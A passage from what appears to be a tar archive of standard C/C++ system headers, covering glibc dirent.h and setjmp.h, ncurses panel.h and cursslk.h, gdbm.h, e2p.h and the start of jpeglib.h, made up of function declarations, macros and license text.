scandirat64 # endif # endif /* This function is like `scandir' but it uses the 64bit dirent structure. Please note that the CMP function must now work with struct dirent64 **. */ extern int scandirat64 (int __dfd, const char *__restrict __dir, struct dirent64 ***__restrict __namelist, int (*__selector) (const struct dirent64 *), int (*__cmp) (const struct dirent64 **, const struct dirent64 **)) __nonnull ((2, 3)); # endif /* Function to compare two `struct dirent's alphabetically. */ # ifndef __USE_FILE_OFFSET64 extern int alphasort (const struct dirent **__e1, const struct dirent **__e2) __THROW __attribute_pure__ __nonnull ((1, 2)); # else # ifdef __REDIRECT extern int __REDIRECT_NTH (alphasort, (const struct dirent **__e1, const struct dirent **__e2), alphasort64) __attribute_pure__ __nonnull ((1, 2)); # else # define alphasort alphasort64 # endif # endif # if defined __USE_GNU && defined __USE_LARGEFILE64 extern int alphasort64 (const struct dirent64 **__e1, const struct dirent64 **__e2) __THROW __attribute_pure__ __nonnull ((1, 2)); # endif #endif /* Use XPG7. */ #ifdef __USE_MISC /* Read directory entries from FD into BUF, reading at most NBYTES. Reading starts at offset *BASEP, and *BASEP is updated with the new position after reading. Returns the number of bytes read; zero when at end of directory; or -1 for errors. */ # ifndef __USE_FILE_OFFSET64 extern __ssize_t getdirentries (int __fd, char *__restrict __buf, size_t __nbytes, __off_t *__restrict __basep) __THROW __nonnull ((2, 4)); # else # ifdef __REDIRECT extern __ssize_t __REDIRECT_NTH (getdirentries, (int __fd, char *__restrict __buf, size_t __nbytes, __off64_t *__restrict __basep), getdirentries64) __nonnull ((2, 4)); # else # define getdirentries getdirentries64 # endif # endif # ifdef __USE_LARGEFILE64 extern __ssize_t getdirentries64 (int __fd, char *__restrict __buf, size_t __nbytes, __off64_t *__restrict __basep) __THROW __nonnull ((2, 4)); # endif #endif /* Use misc. */ #ifdef __USE_GNU /* Function to compare two `struct dirent's by name & version. */ # ifndef __USE_FILE_OFFSET64 extern int versionsort (const struct dirent **__e1, const struct dirent **__e2) __THROW __attribute_pure__ __nonnull ((1, 2)); # else # ifdef __REDIRECT extern int __REDIRECT_NTH (versionsort, (const struct dirent **__e1, const struct dirent **__e2), versionsort64) __attribute_pure__ __nonnull ((1, 2)); # else # define versionsort versionsort64 # endif # endif # ifdef __USE_LARGEFILE64 extern int versionsort64 (const struct dirent64 **__e1, const struct dirent64 **__e2) __THROW __attribute_pure__ __nonnull ((1, 2)); # endif #endif /* Use GNU. */ __END_DECLS #endif /* dirent.h */ setjmp.h 0000644 00000007125 15246445046 0006236 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99 Standard: 7.13 Nonlocal jumps <setjmp.h> */ #ifndef _SETJMP_H #define _SETJMP_H 1 #include <features.h> __BEGIN_DECLS #include <bits/setjmp.h> /* Get `__jmp_buf'. */ #include <bits/types/__sigset_t.h> /* Calling environment, plus possibly a saved signal mask. */ struct __jmp_buf_tag { /* NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it. Do not move these members or add others before it. */ __jmp_buf __jmpbuf; /* Calling environment. */ int __mask_was_saved; /* Saved the signal mask? */ __sigset_t __saved_mask; /* Saved signal mask. */ }; typedef struct __jmp_buf_tag jmp_buf[1]; /* Store the calling environment in ENV, also saving the signal mask. Return 0. */ extern int setjmp (jmp_buf __env) __THROWNL; /* Store the calling environment in ENV, also saving the signal mask if SAVEMASK is nonzero. Return 0. This is the internal name for `sigsetjmp'. */ extern int __sigsetjmp (struct __jmp_buf_tag __env[1], int __savemask) __THROWNL; /* Store the calling environment in ENV, not saving the signal mask. Return 0. */ extern int _setjmp (struct __jmp_buf_tag __env[1]) __THROWNL; /* Do not save the signal mask. This is equivalent to the `_setjmp' BSD function. */ #define setjmp(env) _setjmp (env) /* Jump to the environment saved in ENV, making the `setjmp' call there return VAL, or 1 if VAL is 0. */ extern void longjmp (struct __jmp_buf_tag __env[1], int __val) __THROWNL __attribute__ ((__noreturn__)); #if defined __USE_MISC || defined __USE_XOPEN /* Same. Usually `_longjmp' is used with `_setjmp', which does not save the signal mask. But it is how ENV was saved that determines whether `longjmp' restores the mask; `_longjmp' is just an alias. */ extern void _longjmp (struct __jmp_buf_tag __env[1], int __val) __THROWNL __attribute__ ((__noreturn__)); #endif #ifdef __USE_POSIX /* Use the same type for `jmp_buf' and `sigjmp_buf'. The `__mask_was_saved' flag determines whether or not `longjmp' will restore the signal mask. */ typedef struct __jmp_buf_tag sigjmp_buf[1]; /* Store the calling environment in ENV, also saving the signal mask if SAVEMASK is nonzero. Return 0. */ # define sigsetjmp(env, savemask) __sigsetjmp (env, savemask) /* Jump to the environment saved in ENV, making the sigsetjmp call there return VAL, or 1 if VAL is 0. Restore the signal mask if that sigsetjmp call saved it. This is just an alias `longjmp'. */ extern void siglongjmp (sigjmp_buf __env, int __val) __THROWNL __attribute__ ((__noreturn__)); #endif /* Use POSIX. */ /* Define helper functions to catch unsafe code. */ #if __USE_FORTIFY_LEVEL > 0 # include <bits/setjmp2.h> #endif __END_DECLS #endif /* setjmp.h */ panel.h 0000644 00000010033 15246445046 0006023 0 ustar 00 /**************************************************************************** * Copyright (c) 1998-2009,2017 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Zeyd M. Ben-Halim <zmbenhal@netcom.com> 1995 * * and: Eric S. Raymond <esr@snark.thyrsus.com> * * and: Juergen Pfeifer 1996-1999,2008 * ****************************************************************************/ /* $Id: panel.h,v 1.12 2017/02/11 16:50:28 tom Exp $ */ /* panel.h -- interface file for panels library */ #ifndef NCURSES_PANEL_H_incl #define NCURSES_PANEL_H_incl 1 #include <curses.h> typedef struct panel #if !NCURSES_OPAQUE_PANEL { WINDOW *win; struct panel *below; struct panel *above; NCURSES_CONST void *user; } #endif /* !NCURSES_OPAQUE_PANEL */ PANEL; #if defined(__cplusplus) extern "C" { #endif extern NCURSES_EXPORT(WINDOW*) panel_window (const PANEL *); extern NCURSES_EXPORT(void) update_panels (void); extern NCURSES_EXPORT(int) hide_panel (PANEL *); extern NCURSES_EXPORT(int) show_panel (PANEL *); extern NCURSES_EXPORT(int) del_panel (PANEL *); extern NCURSES_EXPORT(int) top_panel (PANEL *); extern NCURSES_EXPORT(int) bottom_panel (PANEL *); extern NCURSES_EXPORT(PANEL*) new_panel (WINDOW *); extern NCURSES_EXPORT(PANEL*) panel_above (const PANEL *); extern NCURSES_EXPORT(PANEL*) panel_below (const PANEL *); extern NCURSES_EXPORT(int) set_panel_userptr (PANEL *, NCURSES_CONST void *); extern NCURSES_EXPORT(NCURSES_CONST void*) panel_userptr (const PANEL *); extern NCURSES_EXPORT(int) move_panel (PANEL *, int, int); extern NCURSES_EXPORT(int) replace_panel (PANEL *,WINDOW *); extern NCURSES_EXPORT(int) panel_hidden (const PANEL *); #if NCURSES_SP_FUNCS extern NCURSES_EXPORT(PANEL *) ground_panel(SCREEN *); extern NCURSES_EXPORT(PANEL *) ceiling_panel(SCREEN *); extern NCURSES_EXPORT(void) NCURSES_SP_NAME(update_panels) (SCREEN*); #endif #if defined(__cplusplus) } #endif #endif /* NCURSES_PANEL_H_incl */ /* end of panel.h */ gdbm.h 0000644 00000024151 15246445046 0005643 0 ustar 00 /* gdbm.h - The include file for dbm users. -*- c -*- */ /* This file is part of GDBM, the GNU data base manager, by Philip A. Nelson. Copyright (C) 1990-1991, 1993, 2011, 2016-2018 Free Software Foundation, Inc. GDBM is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GDBM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GDBM. If not, see <http://www.gnu.org/licenses/>. You may contact the author by: e-mail: phil@cs.wwu.edu us-mail: Philip A. Nelson Computer Science Department Western Washington University Bellingham, WA 98226 *************************************************************************/ /* Protection for multiple includes. */ #ifndef _GDBM_H_ # define _GDBM_H_ # include <stdio.h> /* GDBM C++ support */ # if defined(__cplusplus) || defined(c_plusplus) extern "C" { # endif /* Parameters to gdbm_open for READERS, WRITERS, and WRITERS who can create the database. */ # define GDBM_READER 0 /* A reader. */ # define GDBM_WRITER 1 /* A writer. */ # define GDBM_WRCREAT 2 /* A writer. Create the db if needed. */ # define GDBM_NEWDB 3 /* A writer. Always create a new db. */ # define GDBM_OPENMASK 7 /* Mask for the above. */ # define GDBM_FAST 0x010 /* Write fast! => No fsyncs. OBSOLETE. */ # define GDBM_SYNC 0x020 /* Sync operations to the disk. */ # define GDBM_NOLOCK 0x040 /* Don't do file locking operations. */ # define GDBM_NOMMAP 0x080 /* Don't use mmap(). */ # define GDBM_CLOEXEC 0x100 /* Close the underlying fd on exec(3) */ # define GDBM_BSEXACT 0x200 /* Don't adjust block_size. Bail out with GDBM_BLOCK_SIZE_ERROR error if unable to set it. */ # define GDBM_CLOERROR 0x400 /* Only for gdbm_fd_open: close fd on error. */ /* Parameters to gdbm_store for simple insertion or replacement in the case that the key is already in the database. */ # define GDBM_INSERT 0 /* Never replace old data with new. */ # define GDBM_REPLACE 1 /* Always replace old data with new. */ /* Parameters to gdbm_setopt, specifing the type of operation to perform. */ # define GDBM_SETCACHESIZE 1 /* Set the cache size. */ # define GDBM_FASTMODE 2 /* Toggle fast mode. OBSOLETE. */ # define GDBM_SETSYNCMODE 3 /* Turn on or off sync operations. */ # define GDBM_SETCENTFREE 4 /* Keep all free blocks in the header. */ # define GDBM_SETCOALESCEBLKS 5 /* Attempt to coalesce free blocks. */ # define GDBM_SETMAXMAPSIZE 6 /* Set maximum mapped memory size */ # define GDBM_SETMMAP 7 /* Toggle mmap mode */ /* Compatibility defines: */ # define GDBM_CACHESIZE GDBM_SETCACHESIZE # define GDBM_SYNCMODE GDBM_SETSYNCMODE # define GDBM_CENTFREE GDBM_SETCENTFREE # define GDBM_COALESCEBLKS GDBM_SETCOALESCEBLKS # define GDBM_GETFLAGS 8 /* Get gdbm_open flags */ # define GDBM_GETMMAP 9 /* Get mmap status */ # define GDBM_GETCACHESIZE 10 /* Get current cache side */ # define GDBM_GETSYNCMODE 11 /* Get synch mode */ # define GDBM_GETCENTFREE 12 /* Get "centfree" status */ # define GDBM_GETCOALESCEBLKS 13 /* Get free block coalesce status */ # define GDBM_GETMAXMAPSIZE 14 /* Get maximum mapped memory size */ # define GDBM_GETDBNAME 15 /* Return database file name */ # define GDBM_GETBLOCKSIZE 16 /* Return block size */ typedef unsigned long long int gdbm_count_t; /* The data and key structure. */ typedef struct { char *dptr; int dsize; } datum; /* A pointer to the GDBM file. */ typedef struct gdbm_file_info *GDBM_FILE; /* External variable, the gdbm build release string. */ extern const char *gdbm_version; # define GDBM_VERSION_MAJOR 1 # define GDBM_VERSION_MINOR 18 # define GDBM_VERSION_PATCH 0 extern int const gdbm_version_number[3]; /* GDBM external functions. */ extern GDBM_FILE gdbm_fd_open (int fd, const char *file_name, int block_size, int flags, void (*fatal_func) (const char *)); extern GDBM_FILE gdbm_open (const char *, int, int, int, void (*)(const char *)); extern int gdbm_close (GDBM_FILE); extern int gdbm_store (GDBM_FILE, datum, datum, int); extern datum gdbm_fetch (GDBM_FILE, datum); extern int gdbm_delete (GDBM_FILE, datum); extern datum gdbm_firstkey (GDBM_FILE); extern datum gdbm_nextkey (GDBM_FILE, datum); extern int gdbm_reorganize (GDBM_FILE); extern int gdbm_sync (GDBM_FILE); extern int gdbm_exists (GDBM_FILE, datum); extern int gdbm_setopt (GDBM_FILE, int, void *, int); extern int gdbm_fdesc (GDBM_FILE); extern int gdbm_export (GDBM_FILE, const char *, int, int); extern int gdbm_export_to_file (GDBM_FILE dbf, FILE *fp); extern int gdbm_import (GDBM_FILE, const char *, int); extern int gdbm_import_from_file (GDBM_FILE dbf, FILE *fp, int flag); extern int gdbm_count (GDBM_FILE dbf, gdbm_count_t *pcount); typedef struct gdbm_recovery_s { /* Input members. These are initialized before call to gdbm_recover. The flags argument specifies which of them are initialized. */ void (*errfun) (void *data, char const *fmt, ...); void *data; size_t max_failed_keys; size_t max_failed_buckets; size_t max_failures; /* Output members. The gdbm_recover function fills these before returning. */ size_t recovered_keys; size_t recovered_buckets; size_t failed_keys; size_t failed_buckets; size_t duplicate_keys; char *backup_name; } gdbm_recovery; #define GDBM_RCVR_DEFAULT 0x00 /* Default settings */ #define GDBM_RCVR_ERRFUN 0x01 /* errfun is initialized */ #define GDBM_RCVR_MAX_FAILED_KEYS 0x02 /* max_failed_keys is initialized */ #define GDBM_RCVR_MAX_FAILED_BUCKETS 0x04 /* max_failed_buckets is initialized */ #define GDBM_RCVR_MAX_FAILURES 0x08 /* max_failures is initialized */ #define GDBM_RCVR_BACKUP 0x10 /* Keep backup copy of the original database on success */ #define GDBM_RCVR_FORCE 0x20 /* Force recovery by skipping the check pass */ extern int gdbm_recover (GDBM_FILE dbf, gdbm_recovery *rcvr, int flags); #define GDBM_DUMP_FMT_BINARY 0 #define GDBM_DUMP_FMT_ASCII 1 #define GDBM_META_MASK_MODE 0x01 #define GDBM_META_MASK_OWNER 0x02 extern int gdbm_dump (GDBM_FILE, const char *, int fmt, int open_flags, int mode); extern int gdbm_dump_to_file (GDBM_FILE, FILE *, int fmt); extern int gdbm_load (GDBM_FILE *, const char *, int replace, int meta_flags, unsigned long *line); extern int gdbm_load_from_file (GDBM_FILE *, FILE *, int replace, int meta_flags, unsigned long *line); extern int gdbm_copy_meta (GDBM_FILE dst, GDBM_FILE src); # define GDBM_NO_ERROR 0 # define GDBM_MALLOC_ERROR 1 # define GDBM_BLOCK_SIZE_ERROR 2 # define GDBM_FILE_OPEN_ERROR 3 # define GDBM_FILE_WRITE_ERROR 4 # define GDBM_FILE_SEEK_ERROR 5 # define GDBM_FILE_READ_ERROR 6 # define GDBM_BAD_MAGIC_NUMBER 7 # define GDBM_EMPTY_DATABASE 8 # define GDBM_CANT_BE_READER 9 # define GDBM_CANT_BE_WRITER 10 # define GDBM_READER_CANT_DELETE 11 # define GDBM_READER_CANT_STORE 12 # define GDBM_READER_CANT_REORGANIZE 13 # define GDBM_UNKNOWN_ERROR 14 # define GDBM_ITEM_NOT_FOUND 15 # define GDBM_REORGANIZE_FAILED 16 # define GDBM_CANNOT_REPLACE 17 # define GDBM_ILLEGAL_DATA 18 # define GDBM_OPT_ALREADY_SET 19 # define GDBM_OPT_ILLEGAL 20 # define GDBM_BYTE_SWAPPED 21 # define GDBM_BAD_FILE_OFFSET 22 # define GDBM_BAD_OPEN_FLAGS 23 # define GDBM_FILE_STAT_ERROR 24 # define GDBM_FILE_EOF 25 # define GDBM_NO_DBNAME 26 # define GDBM_ERR_FILE_OWNER 27 # define GDBM_ERR_FILE_MODE 28 # define GDBM_NEED_RECOVERY 29 # define GDBM_BACKUP_FAILED 30 # define GDBM_DIR_OVERFLOW 31 # define GDBM_BAD_BUCKET 32 # define GDBM_BAD_HEADER 33 # define GDBM_BAD_AVAIL 34 # define GDBM_BAD_HASH_TABLE 35 # define GDBM_BAD_DIR_ENTRY 36 # define GDBM_FILE_CLOSE_ERROR 37 # define GDBM_FILE_SYNC_ERROR 38 # define GDBM_FILE_TRUNCATE_ERROR 39 # define _GDBM_MIN_ERRNO 0 # define _GDBM_MAX_ERRNO GDBM_FILE_TRUNCATE_ERROR /* This one was never used and will be removed in the future */ # define GDBM_UNKNOWN_UPDATE GDBM_UNKNOWN_ERROR typedef int gdbm_error; extern int *gdbm_errno_location (void); #define gdbm_errno (*gdbm_errno_location ()) extern const char * const gdbm_errlist[]; extern int const gdbm_syserr[]; extern gdbm_error gdbm_last_errno (GDBM_FILE dbf); extern int gdbm_last_syserr (GDBM_FILE dbf); extern void gdbm_set_errno (GDBM_FILE dbf, gdbm_error ec, int fatal); extern void gdbm_clear_error (GDBM_FILE dbf); extern int gdbm_needs_recovery (GDBM_FILE dbf); extern int gdbm_check_syserr (gdbm_error n); /* extra prototypes */ extern const char *gdbm_strerror (gdbm_error); extern const char *gdbm_db_strerror (GDBM_FILE dbf); extern int gdbm_version_cmp (int const a[], int const b[]); #if 0 # define GDBM_DEBUG_ENABLE 1 typedef void (*gdbm_debug_printer_t) (char const *, ...); extern gdbm_debug_printer_t gdbm_debug_printer; extern int gdbm_debug_flags; # define GDBM_DEBUG_ERR 0x00000001 # define GDBM_DEBUG_OPEN 0x00000002 # define GDBM_DEBUG_READ 0x00000004 # define GDBM_DEBUG_STORE 0x00000008 # define GDBM_DEBUG_LOOKUP 0x00000010 # define GDBM_DEBUG_ALL 0xffffffff extern int gdbm_debug_token (char const *tok); extern void gdbm_debug_parse_state (int (*f) (void *, int, char const *), void *d); extern void gdbm_debug_datum (datum dat, char const *pfx); #endif # if defined(__cplusplus) || defined(c_plusplus) } # endif #endif e2p/e2p.h 0000644 00000006264 15246445046 0006113 0 ustar 00 /* * e2p.h --- header file for the e2p library * * %Begin-Header% * This file may be redistributed under the terms of the GNU Library * General Public License, version 2. * %End-Header% */ #include <sys/types.h> /* Needed by dirent.h on netbsd */ #include <stdio.h> #include <dirent.h> #include <ext2fs/ext2_fs.h> #define E2P_FEATURE_COMPAT 0 #define E2P_FEATURE_INCOMPAT 1 #define E2P_FEATURE_RO_INCOMPAT 2 #define E2P_FEATURE_TYPE_MASK 0x03 #define E2P_FEATURE_NEGATE_FLAG 0x80 #define E2P_FS_FEATURE 0 #define E2P_JOURNAL_FEATURE 1 /* `options' for print_flags() */ #define PFOPT_LONG 1 /* Must be 1 for compatibility with `int long_format'. */ int fgetflags (const char * name, unsigned long * flags); int fgetversion (const char * name, unsigned long * version); int fsetflags (const char * name, unsigned long flags); int fsetversion (const char * name, unsigned long version); int fgetproject(const char *name, unsigned long *project); int fsetproject(const char *name, unsigned long project); int getflags (int fd, unsigned long * flags); int getversion (int fd, unsigned long * version); int iterate_on_dir (const char * dir_name, int (*func) (const char *, struct dirent *, void *), void * private_arg); void list_super(struct ext2_super_block * s); void list_super2(struct ext2_super_block * s, FILE *f); void print_fs_errors (FILE * f, unsigned short errors); void print_flags (FILE * f, unsigned long flags, unsigned options); void print_fs_state (FILE * f, unsigned short state); int setflags (int fd, unsigned long flags); int setversion (int fd, unsigned long version); void e2p_list_journal_super(FILE *f, char *journal_sb_buf, int exp_block_size, int flags); void e2p_feature_to_string(int compat, unsigned int mask, char *buf, size_t buf_len); const char *e2p_feature2string(int compat, unsigned int mask); const char *e2p_jrnl_feature2string(int compat, unsigned int mask); int e2p_string2feature(char *string, int *compat, unsigned int *mask); int e2p_jrnl_string2feature(char *string, int *compat_type, unsigned int *mask); int e2p_edit_feature(const char *str, __u32 *compat_array, __u32 *ok_array); int e2p_edit_feature2(const char *str, __u32 *compat_array, __u32 *ok_array, __u32 *clear_ok_array, int *type_err, unsigned int *mask_err); int e2p_is_null_uuid(void *uu); void e2p_uuid_to_str(void *uu, char *out); const char *e2p_uuid2str(void *uu); const char *e2p_hash2string(int num); int e2p_string2hash(char *string); const char *e2p_mntopt2string(unsigned int mask); int e2p_string2mntopt(char *string, unsigned int *mask); int e2p_edit_mntopts(const char *str, __u32 *mntopts, __u32 ok); unsigned long parse_num_blocks(const char *arg, int log_block_size); unsigned long long parse_num_blocks2(const char *arg, int log_block_size); char *e2p_os2string(int os_type); int e2p_string2os(char *str); unsigned int e2p_percent(int percent, unsigned int base); const char *e2p_encmode2string(int num); int e2p_string2encmode(char *string); int e2p_str2encoding(const char *string); const char *e2p_encoding2str(int encoding); int e2p_get_encoding_flags(int encoding); int e2p_str2encoding_flags(int encoding, char *param, __u16 *flags); cursslk.h 0000644 00000016210 15246445046 0006415 0 ustar 00 // * this is for making emacs happy: -*-Mode: C++;-*- /**************************************************************************** * Copyright (c) 1998-2003,2005 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Juergen Pfeifer, 1997 * ****************************************************************************/ // $Id: cursslk.h,v 1.13 2005/05/28 21:58:18 tom Exp $ #ifndef NCURSES_CURSSLK_H_incl #define NCURSES_CURSSLK_H_incl #include <cursesw.h> class NCURSES_IMPEXP Soft_Label_Key_Set { public: // This inner class represents the attributes of a Soft Label Key (SLK) class NCURSES_IMPEXP Soft_Label_Key { friend class Soft_Label_Key_Set; public: typedef enum { Left=0, Center=1, Right=2 } Justification; private: char *label; // The Text of the Label Justification format; // The Justification int num; // The number of the Label Soft_Label_Key() : label(NULL), format(Left), num(-1) { } virtual ~Soft_Label_Key() { delete[] label; }; public: // Set the text of the Label Soft_Label_Key& operator=(char *text); // Set the Justification of the Label Soft_Label_Key& operator=(Justification just) { format = just; return *this; } // Retrieve the text of the label inline char* operator()(void) const { return label; } Soft_Label_Key& operator=(const Soft_Label_Key& rhs) { if (this != &rhs) { *this = rhs; } return *this; } Soft_Label_Key(const Soft_Label_Key& rhs) : label(NULL), format(rhs.format), num(rhs.num) { *this = rhs.label; } }; public: typedef enum { None = -1, Three_Two_Three = 0, Four_Four = 1, PC_Style = 2, PC_Style_With_Index = 3 } Label_Layout; private: static long NCURSES_IMPEXP count; // Number of Key Sets static Label_Layout NCURSES_IMPEXP format; // Layout of the Key Sets static int NCURSES_IMPEXP num_labels; // Number Of Labels in Key Sets bool NCURSES_IMPEXP b_attrInit; // Are attributes initialized Soft_Label_Key *slk_array; // The array of SLK's // Init the Key Set void init(); // Activate or Deactivate Label# i, Label counting starts with 1! void activate_label(int i, bool bf=TRUE); // Activate of Deactivate all Labels void activate_labels(bool bf); protected: inline void Error (const char* msg) const THROWS(NCursesException) { THROW(new NCursesException (msg)); } // Remove SLK's from screen void clear() { if (ERR==::slk_clear()) Error("slk_clear"); } // Restore them void restore() { if (ERR==::slk_restore()) Error("slk_restore"); } public: // Construct a Key Set, use the most comfortable layout as default. // You must create a Soft_Label_Key_Set before you create any object of // the NCursesWindow, NCursesPanel or derived classes. (Actually before // ::initscr() is called). Soft_Label_Key_Set(Label_Layout fmt); // This constructor assumes, that you already constructed a Key Set // with a layout by the constructor above. This layout will be reused. NCURSES_IMPEXP Soft_Label_Key_Set(); Soft_Label_Key_Set& operator=(const Soft_Label_Key_Set& rhs) { if (this != &rhs) { *this = rhs; init(); // allocate a new slk_array[] } return *this; } Soft_Label_Key_Set(const Soft_Label_Key_Set& rhs) : b_attrInit(rhs.b_attrInit), slk_array(NULL) { init(); // allocate a new slk_array[] } virtual ~Soft_Label_Key_Set(); // Get Label# i. Label counting starts with 1! NCURSES_IMPEXP Soft_Label_Key& operator[](int i); // Retrieve number of Labels inline int labels() const { return num_labels; } // Refresh the SLK portion of the screen inline void refresh() { if (ERR==::slk_refresh()) Error("slk_refresh"); } // Mark the SLK portion of the screen for refresh, defer actual refresh // until next update call. inline void noutrefresh() { if (ERR==::slk_noutrefresh()) Error("slk_noutrefresh"); } // Mark the whole SLK portion of the screen as modified inline void touch() { if (ERR==::slk_touch()) Error("slk_touch"); } // Activate Label# i inline void show(int i) { activate_label(i,FALSE); activate_label(i,TRUE); } // Hide Label# i inline void hide(int i) { activate_label(i,FALSE); } // Show all Labels inline void show() { activate_labels(FALSE); activate_labels(TRUE); } // Hide all Labels inline void hide() { activate_labels(FALSE); } inline void attron(attr_t attrs) { if (ERR==::slk_attron(attrs)) Error("slk_attron"); } inline void attroff(attr_t attrs) { if (ERR==::slk_attroff(attrs)) Error("slk_attroff"); } inline void attrset(attr_t attrs) { if (ERR==::slk_attrset(attrs)) Error("slk_attrset"); } inline void color(short color_pair_number) { if (ERR==::slk_color(color_pair_number)) Error("slk_color"); } inline attr_t attr() const { return ::slk_attr(); } }; #endif /* NCURSES_CURSSLK_H_incl */ jpeglib.h 0000644 00000141323 15246445046 0006347 0 ustar 00 /* * jpeglib.h * * This file was part of the Independent JPEG Group's software: * Copyright (C) 1991-1998, Thomas G. Lane. * Modified 2002-2009 by Guido Vollbeding. * libjpeg-turbo Modifications: * Copyright (C) 2009-2011, 2013-2014, 2016, D. R. Commander. * Copyright (C) 2015, Google, Inc. * For conditions of distribution and use, see the accompanying README.ijg * file. * * This file defines the application interface for the JPEG library. * Most applications using the library need only include this file, * and perhaps jerror.h if they want to know the exact error codes. */ #ifndef JPEGLIB_H #define JPEGLIB_H /* * First we include the configuration files that record how this * installation of the JPEG library is set up. jconfig.h can be * generated automatically for many systems. jmorecfg.h contains * manual configuration options that most people need not worry about. */ #ifndef JCONFIG_INCLUDED /* in case jinclude.h already did */ #include "jconfig.h" /* widely used configuration options */ #endif #include "jmorecfg.h" /* seldom changed options */ #ifdef __cplusplus #ifndef DONT_USE_EXTERN_C extern "C" { #endif #endif /* Various constants determining the sizes of things. * All of these are specified by the JPEG standard, so don't change them * if you want to be compatible. */ #define DCTSIZE 8 /* The basic DCT block is 8x8 samples */ #define DCTSIZE2 64 /* DCTSIZE squared; # of elements in a block */ #define NUM_QUANT_TBLS 4 /* Quantization tables are numbered 0..3 */ #define NUM_HUFF_TBLS 4 /* Huffman tables are numbered 0..3 */ #define NUM_ARITH_TBLS 16 /* Arith-coding tables are numbered 0..15 */ #define MAX_COMPS_IN_SCAN 4 /* JPEG limit on # of components in one scan */ #define MAX_SAMP_FACTOR 4 /* JPEG limit on sampling factors */ /* Unfortunately, some bozo at Adobe saw no reason to be bound by the standard; * the PostScript DCT filter can emit files with many more than 10 blocks/MCU. * If you happen to run across such a file, you can up D_MAX_BLOCKS_IN_MCU * to handle it. We even let you do this from the jconfig.h file. However, * we strongly discourage changing C_MAX_BLOCKS_IN_MCU; just because Adobe * sometimes emits noncompliant files doesn't mean you should too. */ #define C_MAX_BLOCKS_IN_MCU 10 /* compressor's limit on blocks per MCU */ #ifndef D_MAX_BLOCKS_IN_MCU #define D_MAX_BLOCKS_IN_MCU 10 /* decompressor's limit on blocks per MCU */ #endif /* Data structures for images (arrays of samples and of DCT coefficients). */ typedef JSAMPLE *JSAMPROW; /* ptr to one image row of pixel samples. */ typedef JSAMPROW *JSAMPARRAY; /* ptr to some rows (a 2-D sample array) */ typedef JSAMPARRAY *JSAMPIMAGE; /* a 3-D sample array: top index is color */ typedef JCOEF JBLOCK[DCTSIZE2]; /* one block of coefficients */ typedef JBLOCK *JBLOCKROW; /* pointer to one row of coefficient blocks */ typedef JBLOCKROW *JBLOCKARRAY; /* a 2-D array of coefficient blocks */ typedef JBLOCKARRAY *JBLOCKIMAGE; /* a 3-D array of coefficient blocks */ typedef JCOEF *JCOEFPTR; /* useful in a couple of places */ /* Types for JPEG compression parameters and working tables. */ /* DCT coefficient quantization tables. */ typedef struct { /* This array gives the coefficient quantizers in natural array order * (not the zigzag order in which they are stored in a JPEG DQT marker). * CAUTION: IJG versions prior to v6a kept this array in zigzag order. */ UINT16 quantval[DCTSIZE2]; /* quantization step for each coefficient */ /* This field is used only during compression. It's initialized FALSE when * the table is created, and set TRUE when it's been output to the file. * You could suppress output of a table by setting this to TRUE. * (See jpeg_suppress_tables for an example.) */ boolean sent_table; /* TRUE when table has been output */ } JQUANT_TBL; 